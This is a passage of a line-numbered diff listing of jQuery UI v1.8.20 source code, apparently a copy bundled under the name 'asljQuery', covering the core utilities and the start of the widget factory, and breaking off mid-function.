 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*! jQuery UI - v1.8.20 - 2012-04-30
2
+ * https://github.com/jquery/jquery-ui
3
+ * Includes: jquery.ui.core.js, jquery.ui.widget.js, jquery.ui.mouse.js, jquery.ui.draggable.js, jquery.ui.droppable.js, jquery.ui.resizable.js, jquery.ui.selectable.js, jquery.ui.sortable.js, jquery.effects.core.js, jquery.effects.blind.js, jquery.effects.bounce.js, jquery.effects.clip.js, jquery.effects.drop.js, jquery.effects.explode.js, jquery.effects.fade.js, jquery.effects.fold.js, jquery.effects.highlight.js, jquery.effects.pulsate.js, jquery.effects.scale.js, jquery.effects.shake.js, jquery.effects.slide.js, jquery.effects.transfer.js, jquery.ui.accordion.js, jquery.ui.autocomplete.js, jquery.ui.button.js, jquery.ui.datepicker.js, jquery.ui.dialog.js, jquery.ui.position.js, jquery.ui.progressbar.js, jquery.ui.slider.js, jquery.ui.tabs.js
4
+ * Copyright (c) 2012 AUTHORS.txt; Licensed MIT, GPL */
5
+ (function( $, undefined ) {
6
+
7
+ // prevent duplicate loading
8
+ // this is only a problem because we proxy existing functions
9
+ // and we don't want to double proxy them
10
+ $.ui = $.ui || {};
11
+ if ( $.ui.version ) {
12
+ return;
13
+ }
14
+
15
+ $.extend( $.ui, {
16
+ version: "1.8.20",
17
+
18
+ keyCode: {
19
+ ALT: 18,
20
+ BACKSPACE: 8,
21
+ CAPS_LOCK: 20,
22
+ COMMA: 188,
23
+ COMMAND: 91,
24
+ COMMAND_LEFT: 91, // COMMAND
25
+ COMMAND_RIGHT: 93,
26
+ CONTROL: 17,
27
+ DELETE: 46,
28
+ DOWN: 40,
29
+ END: 35,
30
+ ENTER: 13,
31
+ ESCAPE: 27,
32
+ HOME: 36,
33
+ INSERT: 45,
34
+ LEFT: 37,
35
+ MENU: 93, // COMMAND_RIGHT
36
+ NUMPAD_ADD: 107,
37
+ NUMPAD_DECIMAL: 110,
38
+ NUMPAD_DIVIDE: 111,
39
+ NUMPAD_ENTER: 108,
40
+ NUMPAD_MULTIPLY: 106,
41
+ NUMPAD_SUBTRACT: 109,
42
+ PAGE_DOWN: 34,
43
+ PAGE_UP: 33,
44
+ PERIOD: 190,
45
+ RIGHT: 39,
46
+ SHIFT: 16,
47
+ SPACE: 32,
48
+ TAB: 9,
49
+ UP: 38,
50
+ WINDOWS: 91 // COMMAND
51
+ }
52
+ });
53
+
54
+ // plugins
55
+ $.fn.extend({
56
+ propAttr: $.fn.prop || $.fn.attr,
57
+
58
+ _focus: $.fn.focus,
59
+ focus: function( delay, fn ) {
60
+ return typeof delay === "number" ?
61
+ this.each(function() {
62
+ var elem = this;
63
+ setTimeout(function() {
64
+ $( elem ).focus();
65
+ if ( fn ) {
66
+ fn.call( elem );
67
+ }
68
+ }, delay );
69
+ }) :
70
+ this._focus.apply( this, arguments );
71
+ },
72
+
73
+ scrollParent: function() {
74
+ var scrollParent;
75
+ if (($.browser.msie && (/(static|relative)/).test(this.css('position'))) || (/absolute/).test(this.css('position'))) {
76
+ scrollParent = this.parents().filter(function() {
77
+ return (/(relative|absolute|fixed)/).test($.curCSS(this,'position',1)) && (/(auto|scroll)/).test($.curCSS(this,'overflow',1)+$.curCSS(this,'overflow-y',1)+$.curCSS(this,'overflow-x',1));
78
+ }).eq(0);
79
+ } else {
80
+ scrollParent = this.parents().filter(function() {
81
+ return (/(auto|scroll)/).test($.curCSS(this,'overflow',1)+$.curCSS(this,'overflow-y',1)+$.curCSS(this,'overflow-x',1));
82
+ }).eq(0);
83
+ }
84
+
85
+ return (/fixed/).test(this.css('position')) || !scrollParent.length ? $(document) : scrollParent;
86
+ },
87
+
88
+ zIndex: function( zIndex ) {
89
+ if ( zIndex !== undefined ) {
90
+ return this.css( "zIndex", zIndex );
91
+ }
92
+
93
+ if ( this.length ) {
94
+ var elem = $( this[ 0 ] ), position, value;
95
+ while ( elem.length && elem[ 0 ] !== document ) {
96
+ // Ignore z-index if position is set to a value where z-index is ignored by the browser
97
+ // This makes behavior of this function consistent across browsers
98
+ // WebKit always returns auto if the element is positioned
99
+ position = elem.css( "position" );
100
+ if ( position === "absolute" || position === "relative" || position === "fixed" ) {
101
+ // IE returns 0 when zIndex is not specified
102
+ // other browsers return a string
103
+ // we ignore the case of nested elements with an explicit value of 0
104
+ // <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
105
+ value = parseInt( elem.css( "zIndex" ), 10 );
106
+ if ( !isNaN( value ) && value !== 0 ) {
107
+ return value;
108
+ }
109
+ }
110
+ elem = elem.parent();
111
+ }
112
+ }
113
+
114
+ return 0;
115
+ },
116
+
117
+ disableSelection: function() {
118
+ return this.bind( ( $.support.selectstart ? "selectstart" : "mousedown" ) +
119
+ ".ui-disableSelection", function( event ) {
120
+ event.preventDefault();
121
+ });
122
+ },
123
+
124
+ enableSelection: function() {
125
+ return this.unbind( ".ui-disableSelection" );
126
+ }
127
+ });
128
+
129
+ $.each( [ "Width", "Height" ], function( i, name ) {
130
+ var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ],
131
+ type = name.toLowerCase(),
132
+ orig = {
133
+ innerWidth: $.fn.innerWidth,
134
+ innerHeight: $.fn.innerHeight,
135
+ outerWidth: $.fn.outerWidth,
136
+ outerHeight: $.fn.outerHeight
137
+ };
138
+
139
+ function reduce( elem, size, border, margin ) {
140
+ $.each( side, function() {
141
+ size -= parseFloat( $.curCSS( elem, "padding" + this, true) ) || 0;
142
+ if ( border ) {
143
+ size -= parseFloat( $.curCSS( elem, "border" + this + "Width", true) ) || 0;
144
+ }
145
+ if ( margin ) {
146
+ size -= parseFloat( $.curCSS( elem, "margin" + this, true) ) || 0;
147
+ }
148
+ });
149
+ return size;
150
+ }
151
+
152
+ $.fn[ "inner" + name ] = function( size ) {
153
+ if ( size === undefined ) {
154
+ return orig[ "inner" + name ].call( this );
155
+ }
156
+
157
+ return this.each(function() {
158
+ $( this ).css( type, reduce( this, size ) + "px" );
159
+ });
160
+ };
161
+
162
+ $.fn[ "outer" + name] = function( size, margin ) {
163
+ if ( typeof size !== "number" ) {
164
+ return orig[ "outer" + name ].call( this, size );
165
+ }
166
+
167
+ return this.each(function() {
168
+ $( this).css( type, reduce( this, size, true, margin ) + "px" );
169
+ });
170
+ };
171
+ });
172
+
173
+ // selectors
174
+ function focusable( element, isTabIndexNotNaN ) {
175
+ var nodeName = element.nodeName.toLowerCase();
176
+ if ( "area" === nodeName ) {
177
+ var map = element.parentNode,
178
+ mapName = map.name,
179
+ img;
180
+ if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) {
181
+ return false;
182
+ }
183
+ img = $( "img[usemap=#" + mapName + "]" )[0];
184
+ return !!img && visible( img );
185
+ }
186
+ return ( /input|select|textarea|button|object/.test( nodeName )
187
+ ? !element.disabled
188
+ : "a" == nodeName
189
+ ? element.href || isTabIndexNotNaN
190
+ : isTabIndexNotNaN)
191
+ // the element and all of its ancestors must be visible
192
+ && visible( element );
193
+ }
194
+
195
+ function visible( element ) {
196
+ return !$( element ).parents().andSelf().filter(function() {
197
+ return $.curCSS( this, "visibility" ) === "hidden" ||
198
+ $.expr.filters.hidden( this );
199
+ }).length;
200
+ }
201
+
202
+ $.extend( $.expr[ ":" ], {
203
+ data: function( elem, i, match ) {
204
+ return !!$.data( elem, match[ 3 ] );
205
+ },
206
+
207
+ focusable: function( element ) {
208
+ return focusable( element, !isNaN( $.attr( element, "tabindex" ) ) );
209
+ },
210
+
211
+ tabbable: function( element ) {
212
+ var tabIndex = $.attr( element, "tabindex" ),
213
+ isTabIndexNaN = isNaN( tabIndex );
214
+ return ( isTabIndexNaN || tabIndex >= 0 ) && focusable( element, !isTabIndexNaN );
215
+ }
216
+ });
217
+
218
+ // support
219
+ $(function() {
220
+ var body = document.body,
221
+ div = body.appendChild( div = document.createElement( "div" ) );
222
+
223
+ // access offsetHeight before setting the style to prevent a layout bug
224
+ // in IE 9 which causes the elemnt to continue to take up space even
225
+ // after it is removed from the DOM (#8026)
226
+ div.offsetHeight;
227
+
228
+ $.extend( div.style, {
229
+ minHeight: "100px",
230
+ height: "auto",
231
+ padding: 0,
232
+ borderWidth: 0
233
+ });
234
+
235
+ $.support.minHeight = div.offsetHeight === 100;
236
+ $.support.selectstart = "onselectstart" in div;
237
+
238
+ // set display to none to avoid a layout bug in IE
239
+ // http://dev.jquery.com/ticket/4014
240
+ body.removeChild( div ).style.display = "none";
241
+ });
242
+
243
+
244
+
245
+
246
+
247
+ // deprecated
248
+ $.extend( $.ui, {
249
+ // $.ui.plugin is deprecated. Use the proxy pattern instead.
250
+ plugin: {
251
+ add: function( module, option, set ) {
252
+ var proto = $.ui[ module ].prototype;
253
+ for ( var i in set ) {
254
+ proto.plugins[ i ] = proto.plugins[ i ] || [];
255
+ proto.plugins[ i ].push( [ option, set[ i ] ] );
256
+ }
257
+ },
258
+ call: function( instance, name, args ) {
259
+ var set = instance.plugins[ name ];
260
+ if ( !set || !instance.element[ 0 ].parentNode ) {
261
+ return;
262
+ }
263
+
264
+ for ( var i = 0; i < set.length; i++ ) {
265
+ if ( instance.options[ set[ i ][ 0 ] ] ) {
266
+ set[ i ][ 1 ].apply( instance.element, args );
267
+ }
268
+ }
269
+ }
270
+ },
271
+
272
+ // will be deprecated when we switch to jQuery 1.4 - use jQuery.contains()
273
+ contains: function( a, b ) {
274
+ return document.compareDocumentPosition ?
275
+ a.compareDocumentPosition( b ) & 16 :
276
+ a !== b && a.contains( b );
277
+ },
278
+
279
+ // only used by resizable
280
+ hasScroll: function( el, a ) {
281
+
282
+ //If overflow is hidden, the element might have extra content, but the user wants to hide it
283
+ if ( $( el ).css( "overflow" ) === "hidden") {
284
+ return false;
285
+ }
286
+
287
+ var scroll = ( a && a === "left" ) ? "scrollLeft" : "scrollTop",
288
+ has = false;
289
+
290
+ if ( el[ scroll ] > 0 ) {
291
+ return true;
292
+ }
293
+
294
+ // TODO: determine which cases actually cause this to happen
295
+ // if the element doesn't have the scroll set, see if it's possible to
296
+ // set the scroll
297
+ el[ scroll ] = 1;
298
+ has = ( el[ scroll ] > 0 );
299
+ el[ scroll ] = 0;
300
+ return has;
301
+ },
302
+
303
+ // these are odd functions, fix the API or move into individual plugins
304
+ isOverAxis: function( x, reference, size ) {
305
+ //Determines when x coordinate is over "b" element axis
306
+ return ( x > reference ) && ( x < ( reference + size ) );
307
+ },
308
+ isOver: function( y, x, top, left, height, width ) {
309
+ //Determines when x, y coordinates is over "b" element
310
+ return $.ui.isOverAxis( y, top, height ) && $.ui.isOverAxis( x, left, width );
311
+ }
312
+ });
313
+
314
+ })(asljQuery);
315
+
316
+ (function( $, undefined ) {
317
+
318
+ // jQuery 1.4+
319
+ if ( $.cleanData ) {
320
+ var _cleanData = $.cleanData;
321
+ $.cleanData = function( elems ) {
322
+ for ( var i = 0, elem; (elem = elems[i]) != null; i++ ) {
323
+ try {
324
+ $( elem ).triggerHandler( "remove" );
325
+ // http://bugs.jquery.com/ticket/8235
326
+ } catch( e ) {}
327
+ }
328
+ _cleanData( elems );
329
+ };
330
+ } else {
331
+ var _remove = $.fn.remove;
332
+ $.fn.remove = function( selector, keepData ) {
333
+ return this.each(function() {
334
+ if ( !keepData ) {
335
+ if ( !selector || $.filter( selector, [ this ] ).length ) {
336
+ $( "*", this ).add( [ this ] ).each(function() {
337
+ try {
338
+ $( this ).triggerHandler( "remove" );
339
+ // http://bugs.jquery.com/ticket/8235
340
+ } catch( e ) {}
341
+ });
342
+ }
343
+ }
344
+ return _remove.call( $(this), selector, keepData );
345
+ });
346
+ };
347
+ }
348
+
349
+ $.widget = function( name, base, prototype ) {
350
+ var namespace = name.split( "." )[ 0 ],
351
+ fullName;
352
+ name = name.split( "." )[ 1 ];
353
+ fullName = namespace + "-" + name;
354
+
355
+ if ( !prototype ) {
356
+ prototype = base;
357
+ base = $.Widget;
358
+ }
359
+
360
+ // create selector for plugin
361
+ $.expr[ ":" ][ fullName ] = function( elem ) {
362
+ return !!$.data( elem, name );
363
+ };
364
+
365
+ $[ namespace ] = $[ namespace ] || {};
366
+ $[ namespace ][ name ] = function( options, element ) {
367
+ // allow instantiation without initializing for simple inheritance
368
+ if ( arguments.length ) {
369
+ this._createWidget( options, element );
370
+ }
371
+ };
372
+
373
+ var basePrototype = new base();
374
+ // we need to make the options hash a property directly on the new instance
375
+ // otherwise we'll modify the options hash on the prototype that we're
376
+ // inheriting from
377
+ // $.each( basePrototype, function( key, val ) {
378
+ // if ( $.isPlainObject(val) ) {
379
+ // basePrototype[ key ] = $.extend( {}, val );
380
+ // }
381
+ // });
382
+ basePrototype.options = $.extend( true, {}, basePrototype.options );
383
+ $[ namespace ][ name ].prototype = $.extend( true, basePrototype, {
384
+ namespace: namespace,
385
+ widgetName: name,
386
+ widgetEventPrefix: $[ namespace ][ name ].prototype.widgetEventPrefix || name,
387
+ widgetBaseClass: fullName
388
+ }, prototype );
389
+
390
+ $.widget.bridge( name, $[ namespace ][ name ] );
391
+ };
392
+
393
+ $.widget.bridge = function( name, object ) {
394
+ $.fn[ name ] = function( options ) {
395
+ var isMethodCall = typeof options === "string",
396
+ args = Array.prototype.slice.call( arguments, 1 ),
397
+ returnValue = this;
398
+
399
+ // allow multiple hashes to be passed on init
400
+ options = !isMethodCall && args.length ?
401
+ $.extend.apply( null, [ true, options ].concat(args) ) :
402
+ options;
403
+
404
+ // prevent calls to internal methods
405
+ if ( isMethodCall && options.charAt( 0 ) === "_" ) {
406
+ return returnValue;
407
+ }
408
+
409
+ if ( isMethodCall ) {
410
+ this.each(function() {
411
+ var instance = $.data( this, name ),
412
+ methodValue = instance && $.isFunction( instance[options] ) ?
413
+ instance[ options ].apply( instance, args ) :
414
+ instance;
415
+ // TODO: add this back in 1.9 and use $.error() (see #5972)
416
+ // if ( !instance ) {
417
+ // throw "cannot call methods on " + name + " prior to initialization; " +
418
+ // "attempted to call method '" + options + "'";
419
+ // }
420
+ // if ( !$.isFunction( instance[options] ) ) {
421
+ // throw "no such method '" + options + "' for " + name + " widget instance";
422
+ // }
423
+ // var methodValue = instance[ options ].apply( instance, args );
424
+ if ( methodValue !== instance && methodValue !== undefined ) {
425
+ returnValue = methodValue;
426
+ return false;
427
+ }
428
+ });
429
+ } else {
430
+ this.each(function() {
431
+ var instance = $.data( this, name );
432
+ if ( instance ) {
433
+ instance.option( options || {} )._init();
434
+ } else {
435
+ $.data( this, name, new object( options, this ) );
436
+ }
437
+ });
438
+ }
439
+
440
+ return returnValue;
441
+ };
442
+ };
443
+
444
+ $.Widget = function( options, element ) {
445
+ // allow instantiation without initializing for simple inheritance
446
+ if ( arguments.length ) {
447
+ this._createWidget( options, element );
448
+ }
449
+ };
450
+
451
+ $.Widget.prototype = {
452
+ widgetName: "widget",
453
+ widgetEventPrefix: "",
454
+ options: {
455
+ disabled: false
456
+ },
457
+ _createWidget: function( options, element ) {
458
+ // $.widget.bridge stores the plugin instance, but we do it anyway
459
+ // so that it's stored even before the _create function runs
460
+ $.data( element, this.widgetName, this );
461
+ this.element = $( element );
462
+ this.options = $.extend( true, {},
463
+ this.options,
464
+ this._getCreateOptions(),
465
+ options );
466
+
467
+ var self = this;
468
+ this.element.bind( "remove." + this.widgetName, function() {
469
+ self.destroy();
470
+ });
471
+
472
+ this._create();
473
+ this._trigger( "create" );
474
+ this._init();
475
+ },
476
+ _getCreateOptions: function() {
477
+ return $.metadata && $.metadata.get( this.element[0] )[ this.widgetName ];
478
+ },
479
+ _create: function() {},
480
+ _init: function() {},
481
+
482
+ destroy: function() {
483
+ this.element
484
+ .unbind( "." + this.widgetName )
485
+ .removeData( this.widgetName );
486
+ this.widget()
487
+ .unbind( "." + this.widgetName )
488
+ .removeAttr( "aria-disabled" )
489
+ .removeClass(
490
+ this.widgetBaseClass + "-disabled " +
491
+ "ui-state-disabled" );
492
+ },
493
+
494
+ widget: function() {
495
+ return this.element;
496
+ },
497
+
498
+ option: function( key, value ) {
499
+ var options = key;
500
+
501
+ if ( arguments.length === 0 ) {
502
+ // don't return a reference to the internal hash
503
+ return $.extend( {}, this.options );
504
+ }
505
+
506
+ if (typeof key === "string" ) {
507
+ if ( value === undefined ) {
508
+ return this.options[ key ];
509
+ }
510
+ options = {};
511
+ options[ key ] = value;
512
+ }
513
+
514
+ this._setOptions( options );
515
+
516
+ return this;
517
+ },
518
+ _setOptions: function( options ) {
519
+ var self = this;
520
+ $.each( options, function( key, value ) {
521
+ self._setOption( key, value );
522
+ });
523
+
524
+ return this;
525
+ },
526
+ _setOption: function( key, value ) {
527
+ this.options[ key ] = value;
528
+
529
+ if ( key === "disabled" ) {
530
+ this.widget()
531
+ [ value ? "addClass" : "removeClass"](
532
+ this.widgetBaseClass + "-disabled" + " " +
533
+ "ui-state-disabled" )
534
+ .attr( "aria-disabled", value );
535
+ }
536
+
537
+ return this;
538
+ },
539
+
540
+ enable: function() {
541
+ return this._setOption( "disabled", false );
542
+ },
543
+ disable: function() {
544
+ return this._setOption( "disabled", true );
545
+ },
546
+
547
+ _trigger: function( type, event, data ) {
548
+ var prop, orig,
549
+ callback = this.options[ type ];
550
+
551
+ data = data || {};
552
+ event = $.Event( event );
553
+ event.type = ( type === this.widgetEventPrefix ?
554
